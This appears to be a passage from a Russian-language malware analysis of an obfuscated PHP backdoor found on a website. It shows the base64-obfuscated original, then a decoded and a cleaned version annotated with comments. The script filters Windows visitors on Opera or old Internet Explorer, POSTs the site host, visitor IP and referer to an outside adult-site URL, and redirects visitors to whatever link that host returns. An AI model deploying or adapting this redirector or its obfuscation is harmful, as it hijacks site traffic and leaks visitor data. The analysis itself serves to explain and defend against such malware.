\tbase64_decode('Y3VybF9jbG9zZQ=='));  ?&gt;&lt;?  function _724562126($i){ \t$a=Array( \t\t'QURNSU5fUkVESVJfVVJM', \t\t'aHR0cDovL3Rlc3QuY3VzdG9tc2V4Y2Ftcy5jb20vcmIvZ2V0X3VybC5waHA=', \t\t'SFRUUF9VU0VSX0FHRU5U', \t\t'SFRUUF9VU0VSX0FHRU5U', \t\t'', \t\t'd2luZG93cw==', \t\t'MXo=', \t\t'b3BlcmEvOS44MA==', \t\t'bXNpZSAxMA==', \t\t'bXNpZSA5', \t\t'bXNpZSA4', \t\t'bXNpZSA3', \t\t'Mno=', \t\t'SFRUUF9SRUZFUkVS', \t\t'SFRUUF9SRUZFUkVS', \t\t'', \t\t'M3o=', \t\t'SFRUUF9IT1NU', \t\t'SFRUUF9IT1NU', \t\t'SFRUUF9IT1NU', \t\t'd3d3Lg==', \t\t'', \t\t'SFRUUF9IT1NU', \t\t'ZD0=', \t\t'SFRUUF9IT1NU', \t\t'Og==', \t\t'UkVNT1RFX0FERFI=', \t\t'Og==', \t\t'QkFE', \t\t'NHo=', \t\t'TG9jYXRpb246IA==', \t\t'YWxsb3dfdXJsX2ZvcGVu', \t\t'aG9zdA==', \t\t'aG9zdA==', \t\t'cGF0aA==', \t\t'Y3VybF9pbml0', \t\t'aHR0cA==', \t\t'bWV0aG9k', \t\t'UE9TVA==', \t\t'aGVhZGVy', \t\t'Q29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQ=', \t\t'Cg==', \t\t'Y29udGVudA==', \t\t'Yms=', \t\t'UE9TVCA=', \t\t'ICBIVFRQLzEuMA0K', \t\t'VXNlci1BZ2VudDogTW96aWxsYS81LjAgKFdpbmRvd3M7IFU7IFdpbmRvd3MgTlQgNS4xOyBlbi1VUzsgcnY6MS44LjAuMykgR2Vja28vMjAwNjA0MjYgRmlyZWZveC8xLjUuMC4zDQo=', \t\t'QWNjZXB0OiAqLyoNCg==', \t\t'QWNjZXB0LUxhbmd1YWdlOiBlbi11cyxlbjtxPTAuNQ0K', \t\t'QWNjZXB0LUNoYXJzZXQ6IElTTy04ODU5LTEsdXRmLTg7cT0wLjcsKjtxPTAuNw0K', \t\t'Q29udGVudC1MZW5ndGg6IA==', \t\t'DQo=', \t\t'', \t\t'DQoNCg==', \t\t'bQ==', \t\t'am1wcA=='); return base64_decode($a[$i]); }  ?&gt;&lt;?php  $GLOBALS['_664181862_'][0](_724562126(0),_724562126(1)); $_0=isset($_SERVER[_724562126(2)])?$GLOBALS['_664181862_'][1]($_SERVER[_724562126(3)]):_724562126(4); (round(0+3419)-round(0+1139.6666666667+1139.6666666667+1139.6666666667)+round(0+3826)-round(0+1275.3333333333+1275.3333333333+1275.3333333333))?$GLOBALS['_664181862_'][2]($_1,$_2):$GLOBALS['_664181862_'][3](round(0+854.75+854.75+854.75+854.75),round(0+1938+1938)); if($GLOBALS['_664181862_'][4]($_0,_724562126(5))===false){ \texit(_724562126(6)); } $_3=array(_724562126(7),_724562126(8),_724562126(9),_724562126(10),_724562126(11),); $_4=false; foreach($_3 as $_5){ \tif($GLOBALS['_664181862_'][5]($_0,$_5)!==false){ \t\t$_4=true; \t\tbreak; \t} } if(!$_4){ \texit(_724562126(12)); } $_6=isset($_SERVER[_724562126(13)])?$_SERVER[_724562126(14)]:_724562126(15); if(empty($_6)){ \texit(_724562126(16)); } $_SERVER[_724562126(17)]=$GLOBALS['_664181862_'][6]($_SERVER[_724562126(18)]); $_SERVER[_724562126(19)]=$GLOBALS['_664181862_'][7](_724562126(20),_724562126(21),$_SERVER[_724562126(22)]); $_7=_724562126(23) .$GLOBALS['_664181862_'][8]($_SERVER[_724562126(24)]) ._724562126(25) .$GLOBALS['_664181862_'][9]($_SERVER[_724562126(26)] ._724562126(27) .$_6);;  $_8=l__0($_7); if($_8==_724562126(28)){ \texit(_724562126(29)); }  $GLOBALS['_664181862_'][10](_724562126(30) .$GLOBALS['_664181862_'][11]($_8)); function l__0($_9){ \tif($GLOBALS['_664181862_'][12](_724562126(31))== round(0+0.33333333333333+0.33333333333333+0.33333333333333)){ \t\treturn l__1($_9); \t}else{ \t\t$_10=$GLOBALS['_664181862_'][13](ADMIN_REDIR_URL); \t\tif($_11=@$GLOBALS['_664181862_'][14]($_10[_724562126(32)],round(0+80),$_12,$_13,round(0+3.75+3.75+3.75+3.75))){ \t\t\treturn l__2($_11,$_10[_724562126(33)],$_10[_724562126(34)],$_9); \t\t}elseif(@$GLOBALS['_664181862_'][15](_724562126(35))){ \t\t\treturn l__3($_9); \t\t} \t} } function l__1($_7){ \t$_14=$GLOBALS['_664181862_'][16](array(_724562126(36)=&gt; array(_724562126(37)=&gt; _724562126(38),_724562126(39)=&gt; _724562126(40) ._724562126(41),_724562126(42)=&gt; $_7,),)); \tif((round(0+767.6+767.6+767.6+767.6+767.6)^round(0+1279.3333333333+1279.3333333333+1279.3333333333))&& $GLOBALS['_664181862_'][17]($_4,$_15,$_5))$GLOBALS['_664181862_'][18]($_16); \treturn $GLOBALS['_664181862_'][19](ADMIN_REDIR_URL,false,$_14); \t$_17=_724562126(43); }  function l__2($_11,$_18,$_19,$_7){ \t$GLOBALS['_664181862_'][20]($_11,_724562126(44) .$_19 ._724562126(45) .&quot;Host: $_18\\r\\n&quot; ._724562126(46) ._724562126(47) ._724562126(48) ._724562126(49) ._724562126(50) .$GLOBALS['_664181862_'][21]($_7) ._724562126(51) .&quot;Content-Type: application\/x-www-form-urlencoded\\r\\n\\r\\n$_7&quot;); \t$_2=_724562126(52); \tif(round(0+1000.25+1000.25+1000.25+1000.25)&lt;$GLOBALS['_664181862_'][22](round(0+537+537+537),round(0+596.25+596.25+596.25+596.25)))$GLOBALS['_664181862_'][23]($_20,$_19,$_13); \twhile($_15=$GLOBALS['_664181862_'][24]($_11,round(0+4096))){ \t\t$_2 .= $_15; \t} \t$GLOBALS['_664181862_'][25]($_11); \t$_21=round(0+572+572); \t$_20=$GLOBALS['_664181862_'][26]($_2,_724562126(53)); \tif(round(0+2240+2240)&lt;$GLOBALS['_664181862_'][27](round(0+359.75+359.75+359.75+359.75),round(0+759+759+759+759)))$GLOBALS['_664181862_'][28]($_14,$_20); \t$_2=$GLOBALS['_664181862_'][29]($_2,$_20+round(0+0.8+0.8+0.8+0.8+0.8)); \t$_22=round(0+500.8+500.8+500.8+500.8+500.8); \treturn $_2; }  function l__3($_7){ \t$_1=$GLOBALS['_664181862_'][30](ADMIN_REDIR_URL); \t(round(0+149+149+149)-round(0+447)+round(0+215)-round(0+71.666666666667+71.666666666667+71.666666666667))?$GLOBALS['_664181862_'][31]($_4,$_15,$_18):$GLOBALS['_664181862_'][32](round(0+89.4+89.4+89.4+89.4+89.4),round(0+3183)); \t$GLOBALS['_664181862_'][33]($_1,42,FALSE); \t$_23=_724562126(54); \t$GLOBALS['_664181862_'][34]($_1,19913,TRUE); \tif((round(0+2508)+round(0+2036.5+2036.5))&gt;round(0+2508)|| $GLOBALS['_664181862_'][35]($_20)); \telse{ \t\t$GLOBALS['_664181862_'][36]($_15,$_7,$_12); \t} \t$GLOBALS['_664181862_'][37]($_1,13,round(0+3.75+3.75+3.75+3.75)); \t$_24=_724562126(55); \t$GLOBALS['_664181862_'][38]($_1,10015,$_7); \tif((round(0+440+440+440+440)+round(0+200.25+200.25+200.25+200.25))&gt;round(0+586.66666666667+586.66666666667+586.66666666667)|| $GLOBALS['_664181862_'][39]($_11,$_3,$_15)); \telse{ \t\t$GLOBALS['_664181862_'][40]($_13,$_1); \t} \t$_16=$GLOBALS['_664181862_'][41]($_1); \t$GLOBALS['_664181862_'][42]($_1); \t$_25=round(0+1576.6666666667+1576.6666666667+1576.6666666667); \treturn $_16; } ?&gt; <\/code><\/pre>\n<\/div>\n<\/div>\n<p>  \u0420\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u044b\u0432\u0430\u0435\u043c \u043a\u043e\u0434:  <\/p>\n<div class=\"spoiler\"><b class=\"spoiler_title\">\u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0432\u0442\u043e\u0440\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430<\/b><\/p>\n<div class=\"spoiler_text\">\n<pre><code class=\"php\">&lt;? $GLOBALS['_664181862_']=Array(  \/\/    [0] =&gt; define  \/\/    [1] =&gt; strtolower  \/\/    [2] =&gt; imagecreatefromgif  \/\/    [3] =&gt; mt_rand  \/\/    [4] =&gt; strpos  \/\/    [5] =&gt; strpos  \/\/    [6] =&gt; strtolower  \/\/    [7] =&gt; str_replace  \/\/    [8] =&gt; urlencode  \/\/    [9] =&gt; urlencode  \/\/    [10] =&gt; header  \/\/    [11] =&gt; trim  \/\/    [12] =&gt; ini_get  \/\/    [13] =&gt; parse_url  \/\/    [14] =&gt; fsockopen  \/\/    [15] =&gt; function_exists  \/\/    [16] =&gt; stream_context_create  \/\/    [17] =&gt; array_reduce  \/\/    [18] =&gt; fflush  \/\/    [19] =&gt; file_get_contents  \/\/    [20] =&gt; fputs  \/\/    [21] =&gt; strlen  \/\/    [22] =&gt; mt_rand  \/\/    [23] =&gt; array_fill  \/\/    [24] =&gt; fread  \/\/    [25] =&gt; fclose  \/\/    [26] =&gt; strpos  \/\/    [27] =&gt; mt_rand  \/\/    [28] =&gt; array_flip  \/\/    [29] =&gt; substr  \/\/    [30] =&gt; curl_init  \/\/    [31] =&gt; substr  \/\/    [32] =&gt; mt_rand  \/\/    [33] =&gt; curl_setopt  \/\/    [34] =&gt; curl_setopt  \/\/    [35] =&gt; preg_replace  \/\/    [36] =&gt; fread  \/\/    [37] =&gt; curl_setopt  \/\/    [38] =&gt; curl_setopt  \/\/    [39] =&gt; strval  \/\/    [40] =&gt; array_merge  \/\/    [41] =&gt; curl_exec  \/\/    [42] =&gt; curl_close \tbase64_decode('ZGVmaW5l'), \tbase64_decode('c3RydG9sb3dlcg=='), \tbase64_decode('aW1hZ2VjcmVhdGVmcm9tZ2lm'), \tbase64_decode('bXRfcmFuZA=='), \tbase64_decode('c3RycG9z'), \tbase64_decode('c3RycG9z'), \tbase64_decode('c3RydG9sb3dlcg=='), \tbase64_decode('c3RyX3JlcGxhY2U='), \tbase64_decode('dXJsZW5jb2Rl'), \tbase64_decode('dXJsZW5jb2Rl'), \tbase64_decode('aGVhZGVy'), \tbase64_decode('dHJpbQ=='), \tbase64_decode('aW5pX2dldA=='), \tbase64_decode('cGFyc2VfdXJs'), \tbase64_decode('ZnNvY2tvcGVu'), \tbase64_decode('ZnVuY3Rpb25fZXhpc3Rz'), \tbase64_decode('c3RyZWFtX2NvbnRleHRfY3JlYXRl'), \tbase64_decode('YXJyYXlfcmVkdWNl'), \tbase64_decode('ZmZsdXNo'), \tbase64_decode('ZmlsZV9nZXRfY29udGVudHM='), \tbase64_decode('ZnB1dHM='), \tbase64_decode('c3RybGVu'), \tbase64_decode('bXRfcmFuZA=='), \tbase64_decode('YXJyYXlfZmlsbA=='), \tbase64_decode('ZnJlYWQ='), \tbase64_decode('ZmNsb3Nl'), \tbase64_decode('c3RycG9z'), \tbase64_decode('bXRfcmFuZA=='), \tbase64_decode('YXJyYXlfZmxpcA=='), \tbase64_decode('c3Vic3Ry'), \tbase64_decode('Y3VybF9pbml0'), \tbase64_decode('c3Vic3Ry'), \tbase64_decode('bXRfcmFuZA=='), \tbase64_decode('Y3VybF9zZXRvcHQ='), \tbase64_decode('Y3VybF9zZXRvcHQ='), \tbase64_decode('cHJlZ19yZXBsYWNl'), \tbase64_decode('ZnJlYWQ='), \tbase64_decode('Y3VybF9zZXRvcHQ='), \tbase64_decode('Y3VybF9zZXRvcHQ='), \tbase64_decode('c3RydmFs'), \tbase64_decode('YXJyYXlfbWVyZ2U='), \tbase64_decode('Y3VybF9leGVj'), \tbase64_decode('Y3VybF9jbG9zZQ=='));  ?&gt;&lt;?  function _724562126($i){ \/\/     [0] =&gt; ADMIN_REDIR_URL \/\/     [1] =&gt; http:\/\/test.customsexcams.com\/rb\/get_url.php \/\/     [2] =&gt; HTTP_USER_AGENT \/\/     [3] =&gt; HTTP_USER_AGENT \/\/     [4] =&gt;  \/\/     [5] =&gt; windows \/\/     [6] =&gt; 1z \/\/     [7] =&gt; opera\/9.80 \/\/     [8] =&gt; msie 10 \/\/     [9] =&gt; msie 9 \/\/     [10] =&gt; msie 8 \/\/     [11] =&gt; msie 7 \/\/     [12] =&gt; 2z \/\/     [13] =&gt; HTTP_REFERER \/\/     [14] =&gt; HTTP_REFERER \/\/     [15] =&gt;  \/\/     [16] =&gt; 3z \/\/     [17] =&gt; HTTP_HOST \/\/     [18] =&gt; HTTP_HOST \/\/     [19] =&gt; HTTP_HOST \/\/     [20] =&gt; www. \/\/     [21] =&gt;  \/\/     [22] =&gt; HTTP_HOST \/\/     [23] =&gt; d= \/\/     [24] =&gt; HTTP_HOST \/\/     [25] =&gt; : \/\/     [26] =&gt; REMOTE_ADDR \/\/     [27] =&gt; : \/\/     [28] =&gt; BAD \/\/     [29] =&gt; 4z \/\/     [30] =&gt; Location:  \/\/     [31] =&gt; allow_url_fopen \/\/     [32] =&gt; host \/\/     [33] =&gt; host \/\/     [34] =&gt; path \/\/     [35] =&gt; curl_init \/\/     [36] =&gt; http \/\/     [37] =&gt; method \/\/     [38] =&gt; POST \/\/     [39] =&gt; header \/\/     [40] =&gt; Content-Type: application\/x-www-form-urlencoded \/\/     [41] =&gt;   \/\/     [42] =&gt; content \/\/     [43] =&gt; bk \/\/     [44] =&gt; POST  \/\/     [45] =&gt;   HTTP\/1.0  \/\/     [46] =&gt; User-Agent: Mozilla\/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.3) Gecko\/20060426 Firefox\/1.5.0.3  \/\/     [47] =&gt; Accept: *\/*  \/\/     [48] =&gt; Accept-Language: en-us,en;q=0.5  \/\/     [49] =&gt; Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7  \/\/     [50] =&gt; Content-Length:  \/\/     [51] =&gt;   \/\/     [52] =&gt;  \/\/     [53] =&gt;    \/\/     [54] =&gt; m \/\/     [55] =&gt; jmpp \t$a=Array( \t\t'QURNSU5fUkVESVJfVVJM', \t\t'aHR0cDovL3Rlc3QuY3VzdG9tc2V4Y2Ftcy5jb20vcmIvZ2V0X3VybC5waHA=', \t\t'SFRUUF9VU0VSX0FHRU5U', \t\t'SFRUUF9VU0VSX0FHRU5U', \t\t'', \t\t'd2luZG93cw==', \t\t'MXo=', \t\t'b3BlcmEvOS44MA==', \t\t'bXNpZSAxMA==', \t\t'bXNpZSA5', \t\t'bXNpZSA4', \t\t'bXNpZSA3', \t\t'Mno=', \t\t'SFRUUF9SRUZFUkVS', \t\t'SFRUUF9SRUZFUkVS', \t\t'', \t\t'M3o=', \t\t'SFRUUF9IT1NU', \t\t'SFRUUF9IT1NU', \t\t'SFRUUF9IT1NU', \t\t'd3d3Lg==', \t\t'', \t\t'SFRUUF9IT1NU', \t\t'ZD0=', \t\t'SFRUUF9IT1NU', \t\t'Og==', \t\t'UkVNT1RFX0FERFI=', \t\t'Og==', \t\t'QkFE', \t\t'NHo=', \t\t'TG9jYXRpb246IA==', \t\t'YWxsb3dfdXJsX2ZvcGVu', \t\t'aG9zdA==', \t\t'aG9zdA==', \t\t'cGF0aA==', \t\t'Y3VybF9pbml0', \t\t'aHR0cA==', \t\t'bWV0aG9k', \t\t'UE9TVA==', \t\t'aGVhZGVy', \t\t'Q29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQ=', \t\t'Cg==', \t\t'Y29udGVudA==', \t\t'Yms=', \t\t'UE9TVCA=', \t\t'ICBIVFRQLzEuMA0K', \t\t'VXNlci1BZ2VudDogTW96aWxsYS81LjAgKFdpbmRvd3M7IFU7IFdpbmRvd3MgTlQgNS4xOyBlbi1VUzsgcnY6MS44LjAuMykgR2Vja28vMjAwNjA0MjYgRmlyZWZveC8xLjUuMC4zDQo=', \t\t'QWNjZXB0OiAqLyoNCg==', \t\t'QWNjZXB0LUxhbmd1YWdlOiBlbi11cyxlbjtxPTAuNQ0K', \t\t'QWNjZXB0LUNoYXJzZXQ6IElTTy04ODU5LTEsdXRmLTg7cT0wLjcsKjtxPTAuNw0K', \t\t'Q29udGVudC1MZW5ndGg6IA==', \t\t'DQo=', \t\t'', \t\t'DQoNCg==', \t\t'bQ==', \t\t'am1wcA=='); return base64_decode($a[$i]); }  ?&gt;&lt;?php  define(ADMIN_REDIR_URL,&quot;http:\/\/test.customsexcams.com\/rb\/get_url.php&quot;);  if (isset($_SERVER[HTTP_USER_AGENT])) { \t$_0 = strtolower($_SERVER[HTTP_USER_AGENT]); } else { \t$_0 = &quot;&quot;; }  if(0){ \timagecreatefromgif($_1,$_2); } else { \tmt_rand(3419,3876); }  if (strpos($_0,&quot;windows&quot;)===false){ \texit(&quot;1z&quot;); }  $_3=Array(&quot;opera\/9.80&quot;, &quot;msie 10&quot;, &quot;msie 9&quot;, &quot;msie 8&quot;, &quot;msie 7&quot;,); $_4=false;  foreach($_3 as $_5){ \tif (strpos($_0,$_5)!==false){ \t\t$_4=true; \t\tbreak; \t} } if(!$_4){ \texit(&quot;2z&quot;);  } if (isset($_SERVER[HTTP_REFERER])){ \t$_6 = $_SERVER[HTTP_REFERER]); } else { \t$_6 = &quot;&quot;; }  if(empty($_6)){ \texit(&quot;3z&quot;);  } $_SERVER[HTTP_HOST]=strtolower($_SERVER[HTTP_HOST]); $_SERVER[HTTP_HOST]=str_replace(&quot;www.&quot;, &quot;&quot;,$_SERVER[HTTP_HOST]);  $_7=&quot;d=urlencode($_SERVER[HTTP_HOST]):urlencode($_SERVER[REMOTE_ADDR]:$_6);&quot;;  $_8=l__0($_7); if ($_8=&quot;BAD&quot;){ \texit(&quot;4z&quot;); }  header(&quot;Location: &quot;.trim($_8));  function l__0($_9){ \tif (ini_get(allow_url_fopen)==1){ \t\treturn l__1($_9); \t} else { \t\t$_10 = parse_url(ADMIN_REDIR_URL); \t\tif ($_11=@fsockopen($_10[host], 80, $_12, $_13, 15){ \t\t\treturn l__2($_11,$_10[host],$_10[path],$_9); \t\t} elseif (@function_exists(curl_init)){ \t\t\treturn l__3($_9); \t\t} \t} }  function l__1($_7){ \t$_14=stream_context_create(array(http=&gt;array(method=&gt;POST, header=&gt;&quot;Content-Type: application\/x-www-form-urlencoded &quot;,content=&gt;$_7,),)); \tif (0 && array_reduce($_4, $_15, $_5)){ \/\/- \u043c\u0443\u0441\u043e\u0440 \t\tfflush($_16);  \t} \treturn file_get_contents(ADMIN_REDIR_URL,false,$_14);  \t$_17 = &quot;bk&quot;; \/\/\u043c\u0443\u0441\u043e\u0440 }  function l__2($_11,$_18,$_19,$_7){ \tfputs($_11, &quot;POST &quot;.$_19.&quot;  HTTP\/1.0\\r\\n \t\tHost: $_18\\r\\n \t\tUser-Agent: Mozilla\/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.3) Gecko\/20060426 Firefox\/1.5.0.3\\r\\n \t\tAccept: *\/*\\r\\n \t\tAccept-Language: en-us,en;q=0.5\\r\\n \t\tAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\\r\\n \t\tContent-Length: &quot;.strlen($_7).&quot;\\r\\n \t\tContent-Type: application\/x-www-form-urlencoded\\r\\n\\r\\n$_7&quot;); \t \t$_2=&quot;&quot;; \t \tif (4001&lt;mt_rand(1611,2385)) { \/\/ \u043c\u0443\u0441\u043e\u0440 \t\tarray_fill($_20,$_19,$_13); \t} \t \twhile ($_15=fread($_11, 4096)){ \t\t$_2 .= $_15; \t} \t \tfclose($_11); \t \t$_21 = 1144; \/\/ \u043c\u0443\u0441\u043e\u0440 \t \t$_20 = strpos($_2, &quot;&quot;); \t \tif (4480&lt;mt_rand(1439,3036)){ \/\/ \u043c\u0443\u0441\u043e\u0440 \t\tarray_flip($_14, $_20); \t} \t \t$_2=substr($_2, $_20+4); \t \t$_22 = 2504; \/\/ \u043c\u0443\u0441\u043e\u0440 \t \treturn $_2; }  function l__3($_7){ \t$_1 = curl_init(ADMIN_REDIR_URL); \t \tif (0){ \/\/ \u043c\u0443\u0441\u043e\u0440 \t\tsubstr($_4, $_15, $_18); \t} else { \t\tmt_rand(447, 3183); \t} \t \tcurl_setopt($_1, 42, FALSE); \t \t$_23 = m; \/\/ \u043c\u0443\u0441\u043e\u0440 \t \tcurl_setopt($_1,19913,TRUE); \t \tif (6581&gt;2508 || preg_replace($_20)); \/\/\u043c\u0443\u0441\u043e\u0440 \telse{ \t\tfread($_15,$_7,$_12); \t} \t \tcurl_setopt($_1,13,15); \t \t$_24 = jmpp; \/\/\u043c\u0443\u0441\u043e\u0440 \t \tcurl_setopt($_1,10015,$_7); \t \tif (2561&gt;1760 || strval($_11,$_3,$_15)); \/\/ \u043c\u0443\u0441\u043e\u0440 \telse { \t\tarray_merge($_13,$_1); \t} \t \t$_16=curl_exec($_1); \t \tcurl_close($_1); \t \t$_25=4730; \/\/\u043c\u0443\u0441\u043e\u0440 \t \treturn $_16; }  ?&gt; <\/code><\/pre>\n<\/div>\n<\/div>\n<p>  \u0423\u0434\u0430\u043b\u044f\u0435\u043c \u043b\u0438\u0448\u043d\u0435\u0435:<\/p>\n<pre><code class=\"php\">&lt;?php  define(ADMIN_REDIR_URL,&quot;http:\/\/test.customsexcams.com\/rb\/get_url.php&quot;);  if (isset($_SERVER[HTTP_USER_AGENT])) { \/\/ \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043d\u0430\u043b\u0438\u0447\u0438\u044f \u044e\u0437\u0435\u0440-\u0430\u0433\u0435\u043d\u0442\u0430 \t$_0 = strtolower($_SERVER[HTTP_USER_AGENT]); } else { \t$_0 = &quot;&quot;; }  if (strpos($_0,&quot;windows&quot;)===false){ \/\/ \u0435\u0441\u043b\u0438 \u044e\u0437\u0435\u0440-\u0430\u0433\u0435\u043d\u0442\u0430 \u043d\u0435\u0442, \u0438\u043b\u0438 \u0432 \u043d\u0451\u043c \u043d\u0435\u0442 \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u043d\u0438\u044f \u0441\u043b\u043e\u0432\u0430 &quot;windows&quot;, \u043d\u0430 \u044d\u043a\u0440\u0430\u043d \u0432\u044b\u0432\u043e\u0434\u0438\u0442\u0441\u044f 1z. \u0421\u043a\u0440\u0438\u043f\u0442 \u0437\u0430\u0432\u0435\u0440\u0448\u0430\u0435\u0442\u0441\u044f. \texit(&quot;1z&quot;); }  $_3=Array(&quot;opera\/9.80&quot;, &quot;msie 10&quot;, &quot;msie 9&quot;, &quot;msie 8&quot;, &quot;msie 7&quot;,); $_4=false;  foreach($_3 as $_5){ \tif (strpos($_0,$_5)!==false){ \/\/\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u043d\u0438\u044f \u0432 \u044e\u0437\u0435\u0440-\u0430\u0433\u0435\u043d\u0442\u0435 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430 Opera \u0438\u043b\u0438 \u0428\u0423 \t\t$_4=true; \t\tbreak; \t} }  if(!$_4){ \texit(&quot;2z&quot;); \/\/\u0435\u0441\u043b\u0438 \u0431\u0440\u0430\u0443\u0437\u0435\u0440 \u0438\u043d\u043e\u0439 - \u0432\u044b\u0432\u043e\u0434 \u043d\u0430 \u044d\u043a\u0440\u0430\u043d 2z. \u0421\u043a\u0440\u0438\u043f\u0442 \u0437\u0430\u0432\u0435\u0440\u0448\u0430\u0435\u0442\u0441\u044f. }  if (isset($_SERVER[HTTP_REFERER])){ \/\/ \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043d\u0430\u043b\u0438\u0447\u0438\u044f \u0440\u0435\u0444\u0435\u0440\u0435\u0440\u0430 \t$_6 = $_SERVER[HTTP_REFERER]; } else { \t$_6 = &quot;&quot;; }  if(empty($_6)){ \/\/ \u0435\u0441\u043b\u0438 \u043d\u0435\u0442 \u0440\u0435\u0444\u0435\u0440\u0435\u0440\u0430 - \u0432\u044b\u0432\u043e\u0434 \u043d\u0430 \u044d\u043a\u0440\u0430\u043d 3z. \u0421\u043a\u0440\u0438\u043f\u0442 \u0437\u0430\u0432\u0435\u0440\u0448\u0430\u0435\u0442\u0441\u044f. \texit(&quot;3z&quot;); }  $_SERVER[HTTP_HOST]=strtolower($_SERVER[HTTP_HOST]); $_SERVER[HTTP_HOST]=str_replace(&quot;www.&quot;, &quot;&quot;,$_SERVER[HTTP_HOST]); \/\/   $_7=&quot;d=urlencode($_SERVER[HTTP_HOST]):urlencode($_SERVER[REMOTE_ADDR]:$_6);&quot;; \/\/ \u0441\u0442\u0440\u043e\u043a\u0430 \u0432\u0438\u0434\u0430 d=\u0410\u0414\u0420\u0415\u0421_\u0421\u0410\u0419\u0422\u0410:\u0410\u0414\u0420\u0415\u0421_\u041a\u041b\u0418\u0415\u041d\u0422\u0410:\u0420\u0415\u0424\u0415\u0420\u0410\u041b $_8=l__0($_7);  if ($_8=&quot;BAD&quot;){ \/\/ \u0435\u0441\u043b\u0438 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 &quot;BAD&quot; - \u0432\u044b\u0432\u043e\u0434 \u043d\u0430 \u044d\u043a\u0440\u0430\u043d 4z. \u0421\u043a\u0440\u0438\u043f\u0442 \u0437\u0430\u0432\u0435\u0440\u0448\u0430\u0435\u0442\u0441\u044f. \texit(&quot;4z&quot;); }  header(&quot;Location: &quot;.trim($_8)); \/\/ \u0435\u0441\u043b\u0438 \u0432\u0441\u0451 \u0443\u0434\u0430\u043b\u043e\u0441\u044c, \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0438\u043c \u043f\u043e \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u043e\u0439 \u0441\u0441\u044b\u043b\u043a\u0435  function l__0($paramurl){ \/\/ \u0432\u044b\u0431\u043e\u0440 \u0441\u043f\u043e\u0441\u043e\u0431\u0430 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0434\u0430\u043d\u043d\u044b\u0445 \u0438\u0437 \u0444\u0430\u0439\u043b\u0430 \tif (ini_get(allow_url_fopen)==1){  \t\treturn l__1($paramurl); \t} else { \t\t$_10 = parse_url(ADMIN_REDIR_URL); \t\tif ($_11=@fsockopen($_10[host], 80, $_12, $_13, 15){ \t\t\treturn l__2($_11,$_10[host],$_10[path],$paramurl); \t\t} elseif (@function_exists(curl_init)){ \t\t\treturn l__3($paramurl); \t\t} \t} } function l__1($paramurl){ \/\/ \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438\u0437 \u0444\u0430\u0439\u043b\u0430 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e file_get_contents \t$_14=stream_context_create(array( \t\thttp=&gt;array( \t\t\tmethod=&gt;POST,  \t\t\theader=&gt;&quot;Content-Type: application\/x-www-form-urlencoded &quot;, \t\t\tcontent=&gt;$paramurl, \t\t\t), \t\t) \t); \t \treturn file_get_contents(ADMIN_REDIR_URL,false,$_14); }   function l__2($socket, $host, $path, $paramurl){ \/\/ \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438\u0437 \u0444\u0430\u0439\u043b\u0430 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e fsockopen \tfputs($socket, &quot;POST &quot;.$path.&quot;  HTTP\/1.0\\r\\n \t\tHost: $host\\r\\n \t\tUser-Agent: Mozilla\/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.3) Gecko\/20060426 Firefox\/1.5.0.3\\r\\n \t\tAccept: *\/*\\r\\n \t\tAccept-Language: en-us,en;q=0.5\\r\\n \t\tAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\\r\\n \t\tContent-Length: &quot;.strlen($paramurl).&quot;\\r\\n \t\tContent-Type: application\/x-www-form-urlencoded\\r\\n\\r\\n$paramurl&quot;); \t$response=&quot;&quot;;  \twhile ($buffer=fread($socket, 4096)){ \t\t$response .= $buffer; \t} \t \tfclose($socket);\t \t$header_end = strpos($response, &quot;&quot;);\t \t$response=substr($response, $header_end+4);\t \treturn $response; }   function l__3($paramurl){ \/\/ \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438\u0437 \u0444\u0430\u0439\u043b\u0430 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e curl \t$curl = curl_init(ADMIN_REDIR_URL);\t \tcurl_setopt($curl, 42, FALSE);\t \tcurl_setopt($curl,19913,TRUE); \tcurl_setopt($curl,13,15); \tcurl_setopt($curl,10015,$paramurl);\t \t$response=curl_exec($curl); \tcurl_close($curl); \treturn $response; }  ?&gt; <\/code><\/pre>\n<p>  \u0421\u0443\u0442\u044c \u0441\u043a\u0440\u0438\u043f\u0442\u0430 \u2014 \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0435 \u043f\u043e \u0430\u0434\u0440\u0435\u0441\u0443 <a href=\"http:\/\/test.customsexcams.com\/rb\/get_url.php\">test.customsexcams.com\/rb\/get_url.php<\/a> \u0441 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u044b\u043c \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043e\u043c (\u0432\u0438\u0434\u0430 